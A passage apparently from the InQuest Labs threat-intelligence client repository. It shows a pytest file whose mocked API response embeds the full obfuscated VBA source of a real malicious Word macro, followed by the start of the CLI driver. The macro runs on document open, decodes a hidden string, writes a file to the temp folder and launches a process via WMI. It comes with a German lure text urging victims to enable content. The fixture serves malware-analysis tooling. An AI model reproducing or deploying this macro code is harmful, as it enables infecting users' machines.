13 | "ext_code": "Attribute VB_Name = \"ThisDocument\"\nAttribute VB_Base = \"1Normal.ThisDocument\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = True\nAttribute VB_TemplateDerived = True\nAttribute VB_Customizable = True\nSub Document_Open()\nDim aOgyI As Long\nDim aPsiU As Integer\naOgyI = -265 + 353\naPsiU = 11022 / 501\naqIEt = aOgyI - aPsiU\nDim aEgfB As Integer\naEgfB = 23138 * 1\n' Bahamas\nDim anzPw\nanzPw = Hex(181)\nDim acwxe\nacwxe = Fix(5)\n' Cox toothache\nDim a76MV\na76MV = Hex(128)\n' Concise widen kentucky entities\nDim airBP\nFor airBP = 23 To 44\nDebug.Print Error(airBP)\nNext airBP\nmain \"sl\"\nEnd Sub\nAttribute VB_Name = \"aftxcy\"\nPublic Const aLxnS9 As String = \"tmp\"\nPublic Const anl37m As String = \"22n4n6473416p55207q6475222n34716q627s666s202473796p60237375636s62707023696q6770236s20246q636\"\nSub avcUt(agY0A)\nDim aeuljN\naeuljN = Abs(-7)\n' Depraved\nDim aHDWr As Long\nDim ahatG8 As Long\naHDWr = 108\nahatG8 = 55\nazVNG = aHDWr + ahatG8\nDim aDkfKB\naDkfKB = 22584 * 1\n' Correlative queue supervisors\nDim a6OdPD\na6OdPD = Fix(7)\n' Zodiac inconsistency present-day mandarin britney items\nDim ae6nKx\nFor ae6nKx = 18 To 42\nDebug.Print Error(ae6nKx)\nNext ae6nKx\n' Grows surrey specialty\nDim aPMvLE\naPMvLE = Fix(4)\n' German printed oblation\nDim an0Zf As Integer\nDim aFmNc As Long\nan0Zf = 59 + 63\naFmNc = 40\naPNmjA = an0Zf / aFmNc\n' Vitriol siren networks wesley southwark pedigree\nDim aX3nyK\naX3nyK = Exp(3)\nDim aDVnfZ As Long\naDVnfZ = 27062 * 1\n' Roth marbles autos belittle\nDim aeu1mD\naeu1mD = Hex(152)\n' Rummage intersection\nDim aV4pY\naV4pY = Exp(3)\n' Xl where\nDim aAMim6\nFor aAMim6 = 12 To 60\nDebug.Print Error(aAMim6)\nNext aAMim6\n' Stumble skip encircle\nDim aG6Rph\naG6Rph = Exp(16)\nDim aB02k\naB02k = Fix(15)\n' Unbiased select\naPG5n4 = Not (aPG5n4)\nDim auN49A\nauN49A = Exp(10)\n' Frightening saucy\nDim aM6ZP\naM6ZP = Exp(11)\n' Lioness persuasive joke\nDim ai6ra\nai6ra = Fix(7)\n' Suburban pander thrifty saddam\naqmAvW = Not (aqmAvW)\nDim aDnCod\naDnCod = Fix(11)\n' Body lifelong relevance app\nDim a1l90\na1l90 = 10205 * 1\n' Wreak exponent\nDim a3dcD\na3dcD = Exp(16)\n' Present moat ablutions\naqblMQ = Not (aqblMQ)\nDim aMApij\nFor aMApij = 7 To 50\nDebug.Print Error(aMApij)\nNext aMApij\n' Insulin sty racy piquant rope composition\nSet objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2\")\nSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\nSet objConfig = objStartup.SpawnInstance_\nSet objProcess = GetObject(\"winmgmts:root\\cimv2:Win32_Process\")\nerrReturn = objProcess.Create(agY0A, Null, objConfig, intProcessID)\nEnd Sub\nFunction aV2CFG(ByRef aFWED As String)\nConst ahj5J1 = 425 - 328\nConst avFmD = 346 - 320\nConst aPR7uc = 62 + 3\nConst aVFGM = avFmD / 2\nDim azBbKh As Long\nDim aFAtzm As String\nIf Len(aFWED) > 0 Then\nFor i = 1 To Len(aFWED)\nazBbKh = 0\naqrsx = Mid(aFWED, i, 1)\naSjOb = Asc(aqrsx)\nIf aSjOb >= ahj5J1 And aSjOb < (ahj5J1 + avFmD) Then\nazBbKh = ahj5J1\nElseIf aSjOb >= aPR7uc And aSjOb < (aPR7uc + avFmD) Then\nazBbKh = aPR7uc\nEnd If\n \nIf azBbKh > 0 Then\nav0OD = (((aSjOb - azBbKh) + aVFGM) Mod avFmD) + azBbKh\nag1MUj = Chr(av0OD)\naFAtzm = aFAtzm + ag1MUj\n \nElse\naFAtzm = aFAtzm + aqrsx\nEnd If\nNext\nEnd If\n \naV2CFG = aFAtzm\nEnd Function\nAttribute VB_Name = \"aiAfnK\"\nSub main(an2Q7)\nDim agNwhI As Integer\nDim aUPzb\nagNwhI = 17\naUPzb = 41\naJM9K = agNwhI + aUPzb\nIf amvkSX = False Then\namvkSX = True\nElse\namvkSX = False\nEnd If\n' Jackets penury\nDim apbE5S\napbE5S = Fix(10)\nDim aUOjd As String\naDoxty = Not (aDoxty)\n' Planets limpid while yu plants bio\nIf afOVK = False Then\nafOVK = True\nElse\nafOVK = False\nEnd If\n' Totals wanda vendor skinny brave nightcap\nak2Xu = Not (ak2Xu)\nIf a0wfY = False Then\na0wfY = True\nElse\na0wfY = False\nEnd If\nDim aAJ1M\naAJ1M = Hex(188)\n' Manufactured unflagging\nDim a2yLKH As Long\nDim a95gw As Long\na2yLKH = 76\na95gw = 41\nayBUM = a2yLKH * a95gw\n' Fighter\nafG06 = StrReverse(aV2CFG(anl37m))\nDim aOeME\nFor aOeME = 12 To 58\nDebug.Print Error(aOeME)\nNext aOeME\n' Toward sparc\nDim aHGroK\naHGroK = Hex(87)\n' S yukon epilepsy mysql trash\nDim aioTtJ\naioTtJ = Exp(7)\n' Avoid corrected isabelle insight property\navue7y = Not (avue7y)\n' Coherence proceeds\nDim aEZ56j\nFor aEZ56j = 4 To 51\nDebug.Print Error(aEZ56j)\nNext aEZ56j\n' Bystander skeptical\nDim aOq3L As Long\naOq3L = 21908 * 1\n' Amount\nawGC2y = Not (awGC2y)\nDim a2T3X\nFor a2T3X = 30 To 40\nDebug.Print Error(a2T3X)\nNext a2T3X\n' Distillation britannia conditions logs\nazRhO acdIV3(aL9TU()), aLxnS9, an2Q7\na7fXZ8 = Not (a7fXZ8)\nDim aufJ9\naufJ9 = Abs(27)\n' Romanticism senate misconception\nDim atKBu\natKBu = Fix(13)\n' Discussions gzip\nDim ameNjh\nameNjh = Hex(108)\n' Deluxe fujitsu\nDim aPR8tL\nDim aaTgm8\naPR8tL = 97\naaTgm8 = 29\naMq0D = aPR8tL - aaTgm8\n' Metabolism anatomical\navcUt (acdIV3(afG06))\nDim aemidk\naemidk = Fix(5)\n' Tie yemen lawfully civilian armenia\nDim aB5ry\nFor aB5ry = 2 To 34\nDebug.Print Error(aB5ry)\nNext aB5ry\nDim a4NVC2\na4NVC2 = Fix(8)\n' Tolerate perception sundown rivers\nDim aqJ0vP\naqJ0vP = Exp(13)\nDim atAkFV\natAkFV = Fix(2)\nDim aNgCJG\naNgCJG = Abs(-51)\n\nEnd Sub\nFunction aC5ld()\nDim ahvjB\nahvjB = Abs(48)\nDim aJNDIT As Long\nDim ajKia\naJNDIT = 45\najKia = 20\na8e9tW = aJNDIT + ajKia\n' Vibrating bananas counsel tickets predict\naC5ld = Environ(aLxnS9)\nEnd Function\nAttribute VB_Name = \"ak8Dj\"\nPublic Const amfb1 As Long = 3849 - 3847\nFunction acdIV3(aW5Unh)\nacKI3 = Not (acKI3)\nDim aJq6b\naJq6b = Hex(222)\n' Ambrosia preamble carbine\nDim aYQAl\naYQAl = Fix(14)\n' Unto hopefully\nDim aFjuC\nFor aFjuC = 24 To 64\nDebug.Print Error(aFjuC)\nNext aFjuC\n' Lighting gonna rhapsody\nDim a8Vi2O As Integer\na8Vi2O = 34244 / 4\nIf aCKBq = False Then\naCKBq = True\nElse\naCKBq = False\nEnd If\n' Silence pi gasoline\nasynb = Not (asynb)\n' Band accounting\nDim asQhp As Long\nasQhp = 4141 * 3\n' Kidnapping magically sedate\nIf aazy7 = False Then\naazy7 = True\nElse\naazy7 = False\nEnd If\n' Nutrition premium helpfulness\nDim aFhtM\naFhtM = Hex(98)\na9zpf = \"\"\nFor a9DRH = 1 To Len(aW5Unh) Step 2\n\nak6Vco = aFGBj2(aW5Unh, a9DRH)\nDim autJv As Long\nDim aaQo7f\nautJv = -459 + 518\naaQo7f = 517 - 475\nagmjrC = autJv - aaQo7f\n' Mailed\nDim a1yxCe\nFor a1yxCe = 18 To 53\nDebug.Print Error(a1yxCe)\nNext a1yxCe\n' Bewitch abolitionist tier\na9zpf = a9zpf + ak6Vco\nNext\nDim aBYrhb\naBYrhb = Abs(4)\n' Masonry sufficiently missouri lifelong\nDim aMQvUZ\naMQvUZ = Exp(8)\n' Journal foothold achievement graduate\nDim atvZTq\natvZTq = Exp(11)\n' Bent\nacdIV3 = a9zpf\nEnd Function\nPublic Sub azRhO(aaK9n7, aIHZL, apO5ig)\nDim aHpD2\naHpD2 = Abs(51)\n' Healer received slug\nDim aWxN4\naWxN4 = Fix(14)\naDfXr = Not (aDfXr)\nau3sVx = Not (au3sVx)\n' Officially materialistic valuation\nIf aJgno = False Then\naJgno = True\nElse\naJgno = False\nEnd If\nDim a3Nlm As Integer\nDim azBun\na3Nlm = -589 + 631\nazBun = 24\naC6dbc = a3Nlm - azBun\n' Disco broken amos\nDim a6XAO\na6XAO = Hex(240)\n' Gala ebook\nDim aSQG4 As Long\naSQG4 = 4276 * 2\n' Tool\nDim aDJS0\naDJS0 = Fix(13)\n' Benchmark logical democrat\nDim a02StH\na02StH = Abs(9)\n' Atom\nSet a7KdLv = CreateObject(\"Scripting.FileSystemObject\")\naBRhki = Not (aBRhki)\n' Variance semester feathered\na7BOMC = Not (a7BOMC)\n' Cadillac here queenly welcome\nDim aqk67\nFor aqk67 = 30 To 41\nDebug.Print Error(aqk67)\nNext aqk67\nIf aWuT8n = False Then\naWuT8n = True\nElse\naWuT8n = False\nEnd If\n' Canes uninterested functioning layman\nDim af4Io\nFor af4Io = 20 To 42\nDebug.Print Error(af4Io)\nNext af4Io\n' Status pits grad smith coiled nite nominated\nDim a1UH4 As Long\nDim aVEJsq\na1UH4 = -265 + 314\naVEJsq = 329 - 272\naIAQc = a1UH4 - aVEJsq\n' Dress meuse pantheism bavarian\nDim aCDO4\naCDO4 = Exp(6)\n' Cork kilometers asked\nDim aYaJSW As Long\naYaJSW = 8941 * 2\n' Ideas coffee munich\nSet ahxrls = a7KdLv.CreateTextFile(aiRH7() & apO5ig, 1)\nDim aYev3\naYev3 = Abs(54)\nDim areDW\nareDW = Abs(43)\n' Abstracted provencal sunshine popish sql\nIf ajZlr = False Then\najZlr = True\nElse\najZlr = False\nEnd If\n' Derek contracting\nDim abTR9r\nDim aGd1Xu As Integer\nabTR9r = 236 - 169\naGd1Xu = 2835 / 315\naQGWK = abTR9r + aGd1Xu\nDim aHtEK\naHtEK = Abs(-60)\nWith ahxrls\nIf an1xWv = False Then\nan1xWv = True\nElse\nan1xWv = False\nEnd If\n' Denial samaria yawl\nDim aUOIts\naUOIts = Exp(3)\n' Unmerciful knocker rampart specification pussy\nDim a8MSma\na8MSma = Fix(5)\n' Flinty beaker identifies programming history\n.Write aaK9n7\nIf apijyb = False Then\napijyb = True\nElse\napijyb = False\nEnd If\n' Hydrogen\nDim a3r48I\na3r48I = Hex(219)\n.Close\nEnd With\nDim aBU1I\naBU1I = Exp(5)\naAHYBg = Not (aAHYBg)\n' Ethnic recognize\nDim aUGtFc As Integer\nDim av0iJ3 As Integer\naUGtFc = 50\nav0iJ3 = 36\nahWw4 = aUGtFc / av0iJ3\n' Verification torpedoes\nDim aHgXY\naHgXY = Hex(244)\nDim aHPbaG\naHPbaG = Fix(2)\n' Tulip toilette climber lateral enamored\nDim aTI9p\naTI9p = Exp(4)\n' Sieve covetous level redolent completion populations symbolical strict\nDim a9iAyP As Long\na9iAyP = 29563 * 1\nDim aceVl\naceVl = Abs(-23)\n' Dj helen chute\nDim atX8hy\natX8hy = Abs(20)\nIf a2SJA = False Then\na2SJA = True\nElse\na2SJA = False\nEnd If\n' Educators\nauFRrP = Not (auFRrP)\n' Detailed insipid throat research\nDim adI1Jx\nFor adI1Jx = 14 To 39\nDebug.Print Error(adI1Jx)\nNext adI1Jx\n' Uncontrolled consistently anxiety nutriment\nDim awzZLY\nawzZLY = Abs(6)\n' Oak crutch alfalfa november sarah\nDim aN13X\nFor aN13X = 24 To 35\nDebug.Print Error(aN13X)\nNext aN13X\n' Hips wrack friendship appointment\nIf aT5o7 = False Then\naT5o7 = True\nElse\naT5o7 = False\nEnd If\nDim ajm2W\najm2W = 10632 * 1\nDim a2XMq As Long\nDim abh5K As Integer\na2XMq = 121\nabh5K = 16\naBIWUX = a2XMq + abh5K\nDim aS7NyO\naS7NyO = 31475 * 1\nDim ab57lN\nab57lN = Fix(3)\nDim a64Yt As Long\na64Yt = 5993 * 2\n' Tannin incredulity analog\nDim a5onIR\na5onIR = Fix(15)\nDim a3jO8\na3jO8 = Fix(9)\n' Twos\nIf a4H62A = False Then\na4H62A = True\nElse\na4H62A = False\nEnd If\n' Seizure unix frank\nDim awBR7S As Long\nDim a3gt4 As Integer\nawBR7S = 627 - 610\na3gt4 = 15\naAUMba = awBR7S * a3gt4\nDim atk6VF\natk6VF = Hex(97)\nDim aX28HA\nFor aX28HA = 2 To 57\nDebug.Print Error(aX28HA)\nNext aX28HA\n' Ing cameras incomplete\nDim apiDd\nDim atrkO As Integer\napiDd = 107\natrkO = 27540 / 918\naBTc1r = apiDd / atrkO\n' Student proficient tardily lincoln\nDim a0sTv\na0sTv = Abs(22)\nDim aYCPu7 As Long\naYCPu7 = 27933 * 1\n' Typhoid measurable\nEnd Sub\nFunction aL9TU()\nDim atxBZQ\nDim avLBG As Long\natxBZQ = 403 - 310\navLBG = 29\naStLi3 = atxBZQ * avLBG\n' Dentists refugee iran\naRzad = Not (aRzad)\n' Enemies headstrong\nDim aLdqs\naLdqs = Abs(-12)\n' Studying angel citations racing hackneyed nj\nDim aICBW\naICBW = Exp(7)\nDim aCiaDo\nFor aCiaDo = 16 To 53\nDebug.Print Error(aCiaDo)\nNext aCiaDo\n' Lessons\nDim aZXer\naZXer = Hex(191)\n' Cookbook\nIf afeoED = False Then\nafeoED = True\nElse\nafeoED = False\nEnd If\n' Tucker tennessee harassment\nDim anAyT\nDim agBtn As Long\nanAyT = 91\nagBtn = -66 + 127\na41Xf = anAyT - agBtn\n' Plymouth luis compensation\nDim a6zJ7a\nDim a6o59z As Integer\na6zJ7a = 5238 / 97\na6o59z = 50\namOZ6f = a6zJ7a + a6o59z\n' Attempted admissions\nIf aEqU4 = False Then\naEqU4 = True\nElse\naEqU4 = False\nEnd If\n' Foothold rectify tho victor\nDim aWb5G\naWb5G = 29827 * 1\n' Jay painful\nDim aLzs3f\naLzs3f = Fix(16)\n' Relax existing surrounded vacancies airship\nazRZKy = Not (azRZKy)\n' Bushel episodes\nDim aWCwFk As Integer\nDim aqsdnf As Long\naWCwFk = 50\naqsdnf = 25\naHi2XN = aWCwFk / aqsdnf\n' Convenience caucasus crawford\nDim alkv6\nFor alkv6 = 28 To 36\nDebug.Print Error(alkv6)\nNext alkv6\n' Verity twitch mating\nDim aqTWEX As Long\nDim abVvW As Long\naqTWEX = 44\nabVvW = 40\nab7V9G = aqTWEX + abVvW\n' Sealskin\nDim acYl82\nacYl82 = 29130 * 1\nDim awfEY As Long\nawfEY = 14173 + 2\n' Hawaii\nDim a0COW\na0COW = Abs(-45)\naZ2yk = Not (aZ2yk)\nSet aHX3xw = New azBP5k\nIf a8ZdLD = False Then\na8ZdLD = True\nElse\na8ZdLD = False\nEnd If\n' Physically asthma quartette developmental\nDim a4f65N As Long\nDim a9JLk8 As Integer\na4f65N = 115\na9JLk8 = 19\na5l6wY = a4f65N / a9JLk8\n' Directory\nDim aPc9W\naPc9W = Abs(13)\nDim aI31MC\nFor aI31MC = 13 To 36\nDebug.Print Error(aI31MC)\nNext aI31MC\n' Rolf viands algorithm flying boys\nDim aTpht2 As Long\naTpht2 = 200 + 90\nDim acS4hU\nacS4hU = Exp(5)\n' Extraction gruel mh\naG1UE = Not (aG1UE)\n' Canadian theft talisman tuesday cloudless\naFxMf = aHX3xw.ao.Value\nDim aVd3e\naVd3e = Exp(15)\n' Counselor voices imagination echo fewer\nDim aav64\naav64 = Abs(50)\n' Needle baal cuts authentication\nDim ab4UAw As Long\nDim aFCxi As Long\nab4UAw = 15408 / 321\naFCxi = 32\naLfVn6 = ab4UAw - aFCxi\n' Arrange biological\nDim anpVd\nanpVd = Fix(3)\n' Marshall subscriber wanted\nDim aPFr0\naPFr0 = Fix(14)\n' Labeled vincent betting trips siena\nDim aF3Mg7 As Long\nDim a1ePKx As Integer\naF3Mg7 = 109\na1ePKx = 65 - 30\na4bRw6 = aF3Mg7 / a1ePKx\n' Transmutation\navfS5 = aHX3xw.bt.Value\nDim aLTAZ\nFor aLTAZ = 30 To 46\nDebug.Print Error(aLTAZ)\nNext aLTAZ\n' Indianapolis official\nDim ahyjxg\nahyjxg = Exp(3)\n' Colic veterans\nIf aEJH1 = False Then\naEJH1 = True\nElse\naEJH1 = False\nEnd If\n' Pre peel\naL9TU = aFxMf & avfS5\nEnd Function\nFunction aiRH7()\nDim a1Rcq\na1Rcq = Abs(37)\nDim aGaMnQ\nFor aGaMnQ = 11 To 43\nDebug.Print Error(aGaMnQ)\nNext aGaMnQ\n' Logo imported flinty rouge\naiRH7 = aC5ld() & \"\\aCtjJ.x\"\nEnd Function\nFunction aFGBj2(aW5Unh, a9DRH)\nDim a6BgYx\na6BgYx = Hex(120)\nDim asOMmt\nasOMmt = Hex(67)\naFGBj2 = Chr(\"&h\" & Mid(aW5Unh, a9DRH, amfb1))\nEnd Function\nAttribute VB_Name = \"azBP5k\"\nAttribute VB_Base = \"0{9B991204-459E-4B17-9850-295B99962B6F}{A9F8B512-5A51-44BB-A73C-471E88529EE8}\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nAttribute VB_TemplateDerived = False\nAttribute VB_Customizable = False\nPrivate Sub UserForm_Initialize()\nar2hIp = Not (ar2hIp)\n' Argue cannon puma recorder\nDim a5o1I\na5o1I = Fix(4)\n' Kaffir happened\nDim aNcbS3\naNcbS3 = Fix(3)\nDim amzOUI As Long\nDim awXJG As Integer\namzOUI = 362 - 234\nawXJG = 27\naMhDJ = amzOUI - awXJG\n' Quiescent format\nDim aUTnVA As Long\naUTnVA = 24602 * 1\naTEvOs = Not (aTEvOs)\nEnd Sub\n\n",
14 | "ext_context": "\n\n\n",
15 | "ext_metadata": "File Name : 30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c\nFile Size : 140 kB\nFile Modification Date/Time : 2019:11:06 21:07:03+00:00\nFile Access Date/Time : 2019:11:06 21:07:03+00:00\nFile Inode Change Date/Time : 2019:11:06 21:07:03+00:00\nFile Permissions : rw-rwxr--\nFile Type : ZIP\nFile Type Extension : zip\nMIME Type : application/zip\nZip Required Version : 20\nZip Bit Flag : 0x0006\nZip Compression : Deflated\nZip Modify Date : 1980:01:01 00:00:00\nZip CRC : 0x0c0cc35b\nZip Compressed Size : 400\nZip Uncompressed Size : 1505\nZip File Name : [Content_Types].xml\n\nFile Name : image1.jpeg\nFile Size : 98 kB\nFile Modification Date/Time : 1980:01:01 00:00:00+00:00\nFile Access Date/Time : 2019:11:06 21:07:10+00:00\nFile Inode Change Date/Time : 2019:11:06 21:07:12+00:00\nFile Permissions : rwxrwxrwx\nFile Type : JPEG\nFile Type Extension : jpg\nMIME Type : image/jpeg\nExif Byte Order : Big-endian (Motorola, MM)\nPhotometric Interpretation : RGB\nOrientation : Horizontal (normal)\nSamples Per Pixel : 3\nX Resolution : 96\nY Resolution : 96\nResolution Unit : inches\nSoftware : Adobe Photoshop CC 2019 (Windows)\nModify Date : 2019:10:07 22:05:38\nExif Version : 0221\nColor Space : Uncalibrated\nExif Image Width : 1000\nExif Image Height : 275\nCompression : JPEG (old-style)\nThumbnail Offset : 398\nThumbnail Length : 2003\nCurrent IPTC Digest : cdcffa7da8c7be09057076aeaf05c34e\nCoded Character Set : UTF8\nApplication Record Version : 0\nIPTC Digest : cdcffa7da8c7be09057076aeaf05c34e\nDisplayed Units X : inches\nDisplayed Units Y : inches\nGlobal Angle : 30\nGlobal Altitude : 30\nPhotoshop Thumbnail : (Binary data 2003 bytes, use -b option to extract)\nPhotoshop Quality : 12\nPhotoshop Format : Progressive\nProgressive Scans : 3 Scans\nXMP Toolkit : Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22\nCreator Tool : Paint.NET v3.5.11\nCreate Date : 2019:10:07 22:02:15+03:00\nMetadata Date : 2019:10:07 22:05:38+03:00\nDocument ID : adobe:docid:photoshop:12e1adf8-ae5a-6d42-89bc-66f2bbb62741\nInstance ID : xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb\nOriginal Document ID : EC381424F81A4AF9079B45D2377938CA\nFormat : image/jpeg\nColor Mode : RGB\nICC Profile Name : \nHistory Action : saved, saved\nHistory Instance ID : xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e, xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb\nHistory When : 2019:10:07 22:05:38+03:00, 2019:10:07 22:05:38+03:00\nHistory Software Agent : Adobe Photoshop CC 2019 (Windows), Adobe Photoshop CC 2019 (Windows)\nHistory Changed : /, /\nDCT Encode Version : 100\nAPP14 Flags 0 : [14]\nAPP14 Flags 1 : (none)\nColor Transform : YCbCr\nImage Width : 1000\nImage Height : 275\nEncoding Process : Progressive DCT, Huffman coding\nBits Per Sample : 8\nColor Components : 3\nY Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)\nImage Size : 1000x275\nMegapixels : 0.275\nThumbnail Image : (Binary data 2003 bytes, use -b option to extract)\n",
16 | "ext_ocr": "Dieses Dokument wurde in der vorherigen Version von \"Microsoft Of|fb01|ce Word\" erstellt.\n\nUm dieses Dokument zu visualisieren oder bearbeiten, klicken Sie, bitte, auf die\nSchaltfl|e9|iche ,,Bearbeitung aktivieren|201d| in der oberen Leiste und dann auf ,,lnhalt aktivieren|201d|.\n\n \n\n",
17 | "file_type": "DOC",
18 | "first_seen": "Wed, 06 Nov 2019 21:05:52 GMT",
19 | "inquest_alerts": [{
20 | "category": "info",
21 | "description": "Detected macro logic that can write data to the file system.",
22 | "reference": null,
23 | "title": "Macro with File System Write"
24 | }, {
25 | "category": "info",
26 | "description": "Detected macro logic that will automatically execute on document open. Most malware contains some execution hook.",
27 | "reference": null,
28 | "title": "Macro with Startup Hook"
29 | }, {
30 | "category": "info",
31 | "description": "Detected a macro with a suspicious string. Suspicious strings include privileged function calls, obfuscations, odd registry keys, etc...",
32 | "reference": null,
33 | "title": "Macro Contains Suspicious String"
34 | }],
35 | "inquest_dfi_size": 450624,
36 | "last_inquest_dfi": "Wed, 06 Nov 2019 21:07:34 GMT",
37 | "last_inquest_featext": "Wed, 06 Nov 2019 21:07:43 GMT",
38 | "last_updated": "Wed, 06 Nov 2019 21:07:44 GMT",
39 | "len_code": 13801,
40 | "len_context": 23,
41 | "len_metadata": 4559,
42 | "len_ocr": 301,
43 | "md5": "878c69c589d5a14f113ac65f03973e68",
44 | "mime_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
45 | "sha1": "09896ec0c5d27529d2fbc86c5840fcce19b9b560",
46 | "sha256": "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c",
47 | "sha512": "4eef47825c5eddedd7a3c9529c2de513121ca8750568404ec5411bb4ab213cf94bf4075ddfa1265f87c936dcfedccbd3bb2ea80856b9b6cc68e5de161394acce",
48 | "size": 143551,
49 | "subcategory": "macro_hunter",
50 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule",
51 | "virus_total": "https://www.virustotal.com/gui/file/30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"
52 | }"""
53 | return mocked
54 |
55 | def mock_invalid_hash_response(*args, **kwargs):
56 | with requests_mock.Mocker() as mock_request:
57 | mock_request.get("http://labs_mock.com", json={'error': "Supplied 'sha256' value is not a valid hash.", 'success': False}, status_code=400)
58 | response = requests.get("http://labs_mock.com")
59 | return response
60 |
61 |
62 | def test_dfi_details_invalid_hash(labs, mocker):
63 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response)
64 |
65 | with pytest.raises(AssertionError) as excinfo:
66 | labs.dfi_details("mock")
67 |
68 | assert "AssertionError" in str(excinfo)
69 |
70 |
71 | def test_dfi_details(labs, mocker):
72 | mocker.patch('inquestlabs.inquestlabs_api.API',
73 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"})
74 |
75 | details = labs.dfi_details(
76 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c")
77 |
78 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"
79 |
80 |
81 | def test_dfi_details_with_attributes(labs, mocker):
82 | mocker.patch('inquestlabs.inquestlabs_api.API',
83 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", "attribrutes":["test"]})
84 |
85 | details = labs.dfi_details(
86 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", attributes=True)
87 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"
88 | assert "attributes" in details.keys()
89 |
90 |
91 |
92 | def test_dfi_details_invalid_hash_with_key(labs_with_key, mocker):
93 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response)
94 |
95 | with pytest.raises(AssertionError) as excinfo:
96 | labs_with_key.dfi_details("mock")
97 |
98 | assert "Assertion" in str(excinfo)
99 |
100 |
101 |
102 | def test_dfi_details_with_key(labs_with_key, mocker):
103 | mocker.patch('inquestlabs.inquestlabs_api.API',
104 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"})
105 |
106 | details = labs_with_key.dfi_details(
107 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c")
108 |
109 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"
110 |
111 |
112 |
113 | def test_dfi_details_with_attributes_with_key(labs_with_key, mocker):
114 | mocker.patch('inquestlabs.inquestlabs_api.API',
115 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", "attribrutes":["test"]})
116 |
117 | details = labs_with_key.dfi_details(
118 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", attributes=True)
119 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"
120 | assert "attributes" in details.keys()
121 |
122 |
--------------------------------------------------------------------------------
/inquestlabs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """
4 | InQuest Labs Command Line Driver
5 |
6 | Usage:
7 | inquestlabs [options] dfi list
8 | inquestlabs [options] dfi details [--attributes]
9 | inquestlabs [options] dfi download [--encrypt]
10 | inquestlabs [options] dfi attributes [--filter=]
11 | inquestlabs [options] dfi search (code|context|metadata|ocr)
12 | inquestlabs [options] dfi search (md5|sha1|sha256|sha512)
13 | inquestlabs [options] dfi search (domain|email|filename|filepath|ip|registry|url|xmpid)
14 | inquestlabs [options] dfi sources
15 | inquestlabs [options] dfi upload
16 | inquestlabs [options] iocdb list
17 | inquestlabs [options] iocdb search
18 | inquestlabs [options] iocdb sources
19 | inquestlabs [options] repdb list
20 | inquestlabs [options] repdb search
21 | inquestlabs [options] repdb sources
22 | inquestlabs [options] yara (b64re|base64re) [(--big-endian|--little-endian)]
23 | inquestlabs [options] yara hexcase
24 | inquestlabs [options] yara uint [--offset=] [--hex]
25 | inquestlabs [options] yara widere [(--big-endian|--little-endian)]
26 | inquestlabs [options] yara cidr
27 | inquestlabs [options] lookup ip
28 | inquestlabs [options] lookup domain
29 | inquestlabs [options] report
30 | inquestlabs [options] stats
31 | inquestlabs [options] setup
32 | inquestlabs [options] trystero list-days
33 | inquestlabs [options] trystero list-samples
34 |
35 | Options:
36 | --attributes Include attributes with DFI record.
37 | --api= Specify an API key.
38 | --big-endian Toggle big endian.
39 | --config= Configuration file with API key [default: ~/.iqlabskey].
40 | --debug Docopt debugging.
41 | --encrypt Zip sample with password 'infected' before downloading.
42 | --filter= Filter by attributes type (domain, email, filename, filepath, ip, registry, url, xmpid)
43 | -h --help Show this screen.
44 | --hex Treat as hex bytes.
45 | -l --limits Show remaining API credits and limit reset window.
46 | --little-endian Toggle little endian.
47 | --offset= Specify an offset other than 0 for the trigger.
48 | --proxy= Intermediate proxy
49 | --timeout= Maximum amount of time to wait for IOC report.
50 | --verbose= Verbosity level, outputs to stderr [default: 0].
51 | --version Show version.
52 | """
53 |
54 | # python 2/3 compatability.
55 | from __future__ import print_function
56 |
57 | try:
58 | import configparser
59 | except:
60 | import ConfigParser as configparser
61 |
62 | # batteries not included.
63 | import docopt
64 | import requests
65 |
66 | # disable ssl warnings from requests.
67 | try:
68 | import urllib3
69 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
70 | except:
71 | pass
72 |
73 | # standard libraries.
74 | import multiprocessing
75 | import ipaddress
76 | import hashlib
77 | import random
78 | import time
79 | import json
80 | import sys
81 | import os
82 | import re
83 | # from importlib.metadata import version
84 |
85 | # extract version from installed package metadata
86 | __application_name__ = "inquestlabs"
87 | __version__ = "1.2.4"
88 | # __version__ = version(__application_name__)
89 | __full_version__ = f"{__application_name__} {__version__}"
90 |
